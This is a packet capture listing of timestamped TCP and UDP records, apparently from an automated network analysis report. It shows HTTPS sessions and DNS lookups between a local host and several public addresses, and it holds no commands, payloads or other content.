Nov 23, 2024 13:38:16.268392086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.268409014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.268476963 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.268492937 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.268548012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.270838022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.270859003 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.270924091 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.270936012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.270981073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.272969007 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.272993088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.273039103 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.273052931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.273077965 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.274564981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.274605036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.274632931 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.274650097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.274676085 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.275367022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.275429010 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.275440931 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.275517941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.303858995 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.451481104 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.451527119 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.451574087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.451615095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.451641083 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.453398943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.453417063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.453453064 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.453469038 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.453496933 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.455370903 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.455389023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.455447912 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.455468893 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.455508947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.457751036 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.457767010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.457828045 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.457844973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.458512068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.458563089 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.458576918 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.458627939 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.460366964 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.460381985 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.460445881 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.460459948 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.460510015 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.462692022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.462707996 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.462764025 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.462791920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.462845087 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.464852095 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.464869022 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.464925051 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.464937925 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.464984894 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.466501951 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.466538906 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.466569901 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.466583014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.466608047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.478950024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.479043961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.479058981 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.479145050 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.643423080 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.643522978 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.643554926 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.644771099 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.644788027 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.644838095 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.644853115 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.644887924 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.647289991 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.647305012 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.647362947 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.647382021 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.647408962 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.647448063 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.647500038 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.647514105 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.647568941 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.648874044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.648941994 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.648955107 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.649733067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.649794102 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.649806976 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.650538921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.650589943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.650604010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.650684118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.651431084 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.651493073 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.651504993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.652307987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.652368069 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.652380943 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.653951883 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.654010057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.654023886 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.654726982 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.654783964 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.654797077 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.656007051 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.656074047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.656086922 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.656866074 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.656927109 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.656939983 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.657958031 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.658021927 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.658035040 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.658513069 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.658566952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.658580065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.658624887 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.670903921 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.670960903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.711019993 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.835413933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.835490942 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.835535049 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.835563898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.835591078 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.837444067 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.837466002 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.837523937 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.837538958 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.837570906 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.838258028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.838327885 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.838344097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.840743065 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.840764999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.840822935 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.840836048 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.840862036 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.841564894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.841639996 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.841653109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.842433929 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.842495918 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.842508078 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.842559099 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.843380928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.843455076 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.843466997 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.845820904 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.845845938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.845895052 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.845906973 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.845932961 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.846596956 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.846663952 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.846676111 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.848757029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.848778009 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.848833084 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.848849058 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.848907948 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.850483894 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.850539923 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.850554943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.850569010 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.850595951 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.850613117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.863095999 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:16.863178968 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:16.993587971 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.027360916 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.027439117 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.027478933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.028584957 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.028614044 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.028661966 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.028681993 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.028706074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.030970097 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.030993938 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.031028032 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.031040907 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.031094074 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.031920910 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.032037020 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.032051086 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.033567905 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.033627033 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.033627987 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.033658028 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.033685923 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.033706903 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.034245968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.034308910 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.035193920 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.035255909 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.035268068 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.035331011 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.037589073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.037616014 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.037668943 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.037679911 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.037708044 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.037727118 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.039834023 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.039853096 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.039899111 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.039911032 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.039937019 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.039957047 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.040709019 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.040771008 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.040782928 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.043023109 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.043078899 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.043095112 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.043107986 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.043145895 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.043165922 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.219507933 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.219532013 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.219589949 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.219614029 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.219670057 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.221551895 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.221570969 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.221612930 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.221626043 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.221654892 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.221673012 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.223414898 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.223436117 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.223489046 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.223509073 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.223535061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.223555088 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.225713968 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.225732088 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.225769043 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.225783110 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.225821972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.225821972 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.228178024 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.228193045 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.228254080 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.228266954 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.228319883 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.229969025 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.229983091 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.230031967 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.230046034 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.230093956 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.231511116 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.231595039 CET	443	49704	172.66.0.235	192.168.2.5
Nov 23, 2024 13:38:17.231646061 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.231693029 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.242966890 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:17.724503040 CET	49704	443	192.168.2.5	172.66.0.235
Nov 23, 2024 13:38:43.937541962 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:43.937664032 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:43.937784910 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:43.938991070 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:43.939029932 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:45.386600971 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:45.386811972 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:45.389033079 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:45.389065981 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:45.389324903 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:45.438986063 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:45.485461950 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:45.527380943 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.395987988 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.396008015 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.396040916 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.396063089 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.396075964 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.396084070 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.396168947 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.396222115 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.396222115 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.396256924 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.581079960 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.581115007 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.581357956 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.581428051 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.581496000 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.618618965 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.618654013 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.618684053 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.618839025 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.619929075 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.620002031 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.620042086 CET	49817	443	192.168.2.5	23.55.153.106
Nov 23, 2024 13:38:46.620059967 CET	443	49817	23.55.153.106	192.168.2.5
Nov 23, 2024 13:38:46.851291895 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:46.851430893 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:46.851746082 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:46.852125883 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:46.852247953 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.076188087 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.076390028 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.078279018 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.078309059 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.078583002 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.079821110 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.079862118 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.079909086 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.767446995 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.767528057 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.767596960 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.768454075 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.768501997 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.768531084 CET	49823	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.768547058 CET	443	49823	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.891719103 CET	49829	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.891810894 CET	443	49829	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:48.891937971 CET	49829	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.892472982 CET	49829	443	192.168.2.5	172.67.160.80
Nov 23, 2024 13:38:48.892524958 CET	443	49829	172.67.160.80	192.168.2.5
Nov 23, 2024 13:38:49.220563889 CET	49829	443	192.168.2.5	172.67.160.80

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2024 13:37:37.662453890 CET	52411	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:37:37.913928032 CET	53	52411	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:41.251352072 CET	51694	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:41.475536108 CET	53	51694	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:41.480046034 CET	62687	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:41.708457947 CET	53	62687	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:41.711786985 CET	63404	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:41.947175980 CET	53	63404	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:41.950932980 CET	63153	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:42.179323912 CET	53	63153	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:42.181158066 CET	64103	53	192.168.2.5	1.1.1.1
Nov 23, 2024 13:38:42.552102089 CET	53	64103	1.1.1.1	192.168.2.5
Nov 23, 2024 13:38:42.553738117 CET	58874	53	192.168.2.5	1.1.1.1
